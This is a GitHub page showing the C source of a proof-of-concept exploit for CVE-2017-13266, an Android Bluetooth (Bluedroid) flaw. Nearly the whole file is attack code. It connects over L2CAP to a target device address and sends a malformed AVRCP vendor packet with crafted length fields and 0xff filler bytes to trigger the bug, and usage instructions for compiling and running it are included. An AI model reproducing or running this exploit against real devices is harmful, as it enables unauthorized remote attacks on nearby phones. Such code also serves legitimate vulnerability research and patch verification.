forked from hausferd/Bluedroid
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpoc_CVE-2017-13266.c
More file actions
328 lines (261 loc) · 8 KB
/
poc_CVE-2017-13266.c
File metadata and controls
328 lines (261 loc) · 8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
/***
***Only for android devices***
usage:
$ gcc -o poc poc.c -lbluetooth
$ sudo ./poc addr
***/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#define __u8 unsigned char
#define __le16 unsigned short
#define __le32 unsigned int
#define __u16 unsigned short
typedef struct
{
uint8_t ctype;
uint8_t subunit_type:5;
uint8_t subunit_id:3;
uint8_t opcode;
} __attribute__ ((packed)) AVRC_HDR;
typedef struct avct_hdr{
uint8_t ipid:1;
uint8_t cr:1;
uint8_t type:2;
uint8_t label:4;
uint16_t pid;
} __attribute__ ((packed)) avct_hdr_t;
// #define AVCT_HDR_LEN 0x03
/* packet type */
#define AVCT_PKT_TYPE_SINGLE 0 /* single packet */
#define AVCT_PKT_TYPE_START 1 /* start packet */
#define AVCT_PKT_TYPE_CONT 2 /* continue packet */
#define AVCT_PKT_TYPE_END 3 /* end packet */
/* header lengths for different packet types */
#define AVCT_HDR_LEN_SINGLE 3
#define AVCT_HDR_LEN_START 4
#define AVCT_HDR_LEN_CONT 1
#define AVCT_HDR_LEN_END 1
/* invalid cr+ipid value */
#define AVCT_CR_IPID_INVALID 1
/* Audio/Video Control profile */
#define UUID_SERVCLASS_AV_REM_CTRL_TARGET 0X110C
/* Advanced Audio Distribution profile */
#define UUID_SERVCLASS_ADV_AUDIO_DISTRIBUTION 0X110D
/* Audio/Video Control profile */
#define UUID_SERVCLASS_AV_REMOTE_CONTROL 0X110E
/* Audio/Video Control profile */
#define UUID_SERVCLASS_AV_REM_CTRL_CONTROL 0X110F
/* Company ID's
*/
#define AVRC_CO_BLUETOOTH_SIG 0x00FFFFFF
#define AVRC_CO_WIDCOMM 0x00000361
#define AVRC_CO_BROADCOM 0x00001018
#define AVRC_CO_GOOGLE 0x00DAA119
#define AVRC_CO_METADATA \
0x00001958 /* Unique COMPANY ID for Metadata messages */
/*****************************************************************************
* message parsing and building macros
****************************************************************************/
#define AVCT_BUILD_HDR(p, label, type, cr_ipid) \
*(p)++ = ((label) << 4) | ((type) << 2) | (cr_ipid);
#define AVRC_BUILD_HDR(p, ctype, subunit_type, opcode) \
do{ \
*(p)++ = ctype; \
*(p)++ = (subunit_type << 3) & 0xF8; \
*(p)++ = opcode; \
}while(0)
#define AVCT_PARSE_HDR(p, label, type, cr_ipid) \
do { \
(label) = *(p) >> 4; \
(type) = (*(p) >> 2) & 3; \
(cr_ipid) = *(p)++ & 3; \
} while (0)
#define UINT16_TO_STREAM(p, u16) \
{ \
*(p)++ = (uint8_t)(u16); \
*(p)++ = (uint8_t)((u16) >> 8); \
}
#define CO_ID_TO_STREAM(p, u32) \
{ \
*(p)++ = (uint8_t)((u32) >> 16); \
*(p)++ = (uint8_t)((u32) >> 8); \
*(p)++ = (uint8_t)(u32); \
}
/* Big Endian */
#define UINT8_TO_BE_STREAM(p, u8) \
{ \
*(p)++ = u8; \
}
#define UINT16_TO_BE_STREAM(p, u16) \
{ \
*(p)++ = (uint8_t)((u16) >> 8); \
*(p)++ = (uint8_t)(u16); \
}
#define AVCT_PKT_TYPE(p) ((*(p) >> 2) & 3)
#define AVRC_OP_VENDOR 0X00
#define AVRC_OP_BROWSE 0xFF
#define AVRC_CMD 0
#define AVRC_RSP 2
#define BTA_AV_META_MSG_EVT 17
#define AVRC_PDU_SET_ABSOLUTE_VOLUME 0x50
#define AVRC_PDU_SET_ADDRESSED_PLAYER 0x60
#define AVRC_PDU_SET_BROWSED_PLAYER 0x70
#define AVRC_PDU_GET_FOLDER_ITEMS 0x71
#define AVRC_PDU_CHANGE_PATH 0x72
#define AVRC_PDU_GET_ITEM_ATTRIBUTES 0x73
#define AVRC_PDU_PLAY_ITEM 0x74
typedef struct {
uint16_t event;
uint16_t len;
uint16_t offset;
uint16_t layer_specific;
uint8_t data[];
} BT_HDR;
#define BT_HDR_SIZE (sizeof(BT_HDR))
#define BT_PSM_AVCTP 0x17
#define BT_PSM_AVDTP 0x19
#define BT_PSM_AVCTP_BROWSING 0x1B
static int l2cap_set_mtu(int sock_fd, __le16 imtu, __le32 omtu) {
int ret;
struct l2cap_options option_arg;
socklen_t len ;
memset(&option_arg, 0 ,sizeof(option_arg));
ret = getsockopt(sock_fd, SOL_L2CAP, L2CAP_OPTIONS, &option_arg, &len);
if(ret == -1){
perror("[*] getsockopt failed : ");
return -1;
}
option_arg.imtu = imtu;
option_arg.omtu = omtu;
ret = setsockopt(sock_fd, SOL_L2CAP, L2CAP_OPTIONS, &option_arg, sizeof(option_arg));
if(ret == -1){
perror("[*] setsockopt failed : ");
return -1;
}
return 0;
}
static int create_avct_header(uint8_t *data)
{
uint8_t *p = data;
AVCT_BUILD_HDR(p, 1, 0, AVRC_CMD);
avct_hdr_t *hdr = (avct_hdr_t *)data;
hdr->pid = htons(UUID_SERVCLASS_AV_REMOTE_CONTROL);
return AVCT_HDR_LEN_SINGLE;
}
static int create_avcr_header(uint8_t *data)
{
// AVRC_HDR *hdr = (AVRC_HDR *)data;
// hdr->ctype = AVRC_RSP;
// hdr->subunit_type = 0;
// hdr->subunit_id = 0;
// hdr->opcode = AVRC_OP_BROWSE;
uint8_t *p = data;
AVRC_BUILD_HDR(p, 0x01, 0x09, AVRC_OP_VENDOR);
return sizeof(AVRC_HDR);
}
static int create_avrcp_payload(void *data, int len)
{
int avct_hdr_size, avcr_hdr_size;
uint16_t pkt_len_read = 0;
uint8_t *p = (uint8_t *)data;
avct_hdr_size = create_avct_header(p);
p += avct_hdr_size;
avcr_hdr_size = create_avcr_header(p);
p += avcr_hdr_size;
CO_ID_TO_STREAM(p, AVRC_CO_METADATA);
uint8_t pdu = 0x15; //pdu = 0x15
memcpy(p, &pdu, 1);
p += 1;
uint8_t state = 0x00;
memcpy(p, &state, 1);
p += 1;
uint16_t dlen = len - 9 - 4;
UINT16_TO_BE_STREAM(p, dlen);
printf("len = %08x\n", dlen);
uint8_t num_val = dlen - 1;
memcpy(p, &num_val, 1); //num_val;
p += 1;
if(dlen != (num_val + 1))
{
printf("num_val value not correct.\n");
return -1;
}
printf("num_val = %04x\n", num_val);
for (int i = 0; i < num_val; ++i)
{
memcpy(p, "\xff", 1);
p += 1;
}
uint32_t plen = p - (uint8_t*)data;
printf("payload len = %08x\n", plen);
return plen;
}
static int send_trigger_req(int sock_fd){
void *buf, *data, *p;
__le32 rec_handle;
p = data = malloc(0x1000);
memset(data, 0, 0x1000);
int to_send = 0x10d;
int plen = create_avrcp_payload(data, to_send);
if(-1 == plen)
{
printf("payload create error.\n");
goto end;
}
send(sock_fd, data, to_send, 0);
end:
free(data);
}
int main(int argc ,char* argv[]){
int sock_fd, ret;
int try_count = 20;
__le16 cont_offset;
void *buf, *data, *recv_buf;
char dest[18];
struct sockaddr_l2 local_l2_addr;
struct sockaddr_l2 remote_l2_addr;
if(argc < 2){
printf("usage : sudo ./poc TARGET_ADDR\n");
return -1;
}
strncpy(dest, argv[1], 18);
// while( try_count-- > 0 )
{
sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP);
if(sock_fd == -1){
perror("[*] socket create failed : ");
return -1;
}
memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
local_l2_addr.l2_family = PF_BLUETOOTH;
memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));
ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
if(ret == -1){
perror("[*] bind()");
goto out;
}
l2cap_set_mtu(sock_fd, 1024, 1024);
memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
remote_l2_addr.l2_family = PF_BLUETOOTH;
remote_l2_addr.l2_psm = htobs(0x17);
str2ba(dest, &remote_l2_addr.l2_bdaddr);
if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) {
perror("[*] can't connect");
// if(errno == 100)
// goto vul;
goto out;
}
send_trigger_req(sock_fd);
}
out:
close(sock_fd);
return 0;
}